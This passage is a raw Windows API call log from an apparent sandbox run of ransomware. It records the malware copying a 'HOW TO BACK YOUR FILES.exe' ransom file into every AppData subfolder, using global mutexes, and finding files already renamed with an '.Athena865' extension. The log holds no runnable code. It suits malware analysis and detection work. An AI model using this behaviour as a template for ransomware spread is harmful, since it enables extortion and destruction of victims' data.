[0100.788] lstrcatW (in: lpString1="Deployment\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Deployment\\HOW TO BACK YOUR FILES.exe") returned="Deployment\\HOW TO BACK YOUR FILES.exe" [0100.788] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\deployment\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.788] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc61ccea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1ac20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT.Athena865", cAlternateFileName="GDIPFO~1.ATH")) returned 1 [0100.789] lstrcatW (in: lpString1="Google", lpString2="\\" | out: lpString1="Google\\") returned="Google\\" [0100.789] lstrcatW (in: lpString1="Google\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Google\\HOW TO BACK YOUR FILES.exe") returned="Google\\HOW TO BACK YOUR FILES.exe" [0100.789] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.789] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0100.789] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0100.789] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0100.789] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.790] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.790] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.790] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.790] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.790] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0100.790] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0100.790] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0100.790] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.791] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0100.791] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0100.791] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0100.791] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.792] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb7362bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb7362bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0100.792] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0100.792] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0100.792] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.792] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0100.792] lstrcatW (in: lpString1="VirtualStore", lpString2="\\" | out: lpString1="VirtualStore\\") returned="VirtualStore\\" [0100.792] lstrcatW (in: lpString1="VirtualStore\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VirtualStore\\HOW TO BACK YOUR FILES.exe") returned="VirtualStore\\HOW TO BACK YOUR FILES.exe" [0100.792] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\virtualstore\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.793] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0100.793] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0100.793] ReleaseMutex (hMutex=0xec) returned 1 [0100.793] CloseHandle (hObject=0xec) returned 1 [0100.793] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0100.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519338 | out: hHeap=0x4f0000) returned 1 [0100.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b5e8 | out: hHeap=0x4f0000) returned 1 [0100.793] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned 63 [0100.793] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F9F09D84F6AC1BC204D5226B6892FBAB") returned 0xec [0100.793] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.793] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0100.793] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.793] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.794] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.794] GetLastError () returned 0x0 [0100.794] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x543f90 [0100.794] ReadFile (in: hFile=0xf4, lpBuffer=0x543f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x543f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.795] CloseHandle (hObject=0xf4) returned 1 [0100.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x4f0000) returned 1 [0100.795] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.795] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc51e1b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc51e1b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.796] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0100.796] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0100.796] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.801] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc51e1b80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc51e1b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.802] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.802] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.802] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.804] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0100.804] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0100.804] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0100.804] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.809] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0100.809] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0100.809] ReleaseMutex (hMutex=0xec) returned 1 [0100.809] CloseHandle (hObject=0xec) returned 1 [0100.809] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0100.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0100.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b600 | out: hHeap=0x4f0000) returned 1 [0100.809] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 62 [0100.809] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\430FA6B9C62BD65C74EFBACF12D837BE") returned 0xec [0100.809] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.809] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0100.809] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.809] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.810] GetLastError () returned 0x0 [0100.810] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x543f90 [0100.810] ReadFile (in: hFile=0xf4, lpBuffer=0x543f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x543f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.810] CloseHandle (hObject=0xf4) returned 1 [0100.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x4f0000) returned 1 [0100.811] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.811] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc567e620, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.811] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0100.811] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0100.811] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.811] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b56a7f0, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x4aab0ec0, ftLastAccessTime.dwHighDateTime=0x1d4d49f, ftLastWriteTime.dwLowDateTime=0xc5384aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16740, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CsnV8Yv1T6B7Z1J.mkv.Athena865", cAlternateFileName="CSNV8Y~1.ATH")) returned 1 [0100.811] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0100.812] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0100.812] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.812] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x475ed6e0, ftCreationTime.dwHighDateTime=0x1d4cd81, ftLastAccessTime.dwLowDateTime=0x2cc7f210, ftLastAccessTime.dwHighDateTime=0x1d4d071, ftLastWriteTime.dwLowDateTime=0xc548f440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IT45DE3gy.gif.Athena865", cAlternateFileName="IT45DE~1.ATH")) returned 1 [0100.812] lstrcatW (in: lpString1="Macromedia", lpString2="\\" | out: lpString1="Macromedia\\") returned="Macromedia\\" [0100.812] lstrcatW (in: lpString1="Macromedia\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Macromedia\\HOW TO BACK YOUR FILES.exe") returned="Macromedia\\HOW TO BACK YOUR FILES.exe" [0100.812] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.813] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc554db20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0100.813] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.813] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.813] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.813] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc554db20, 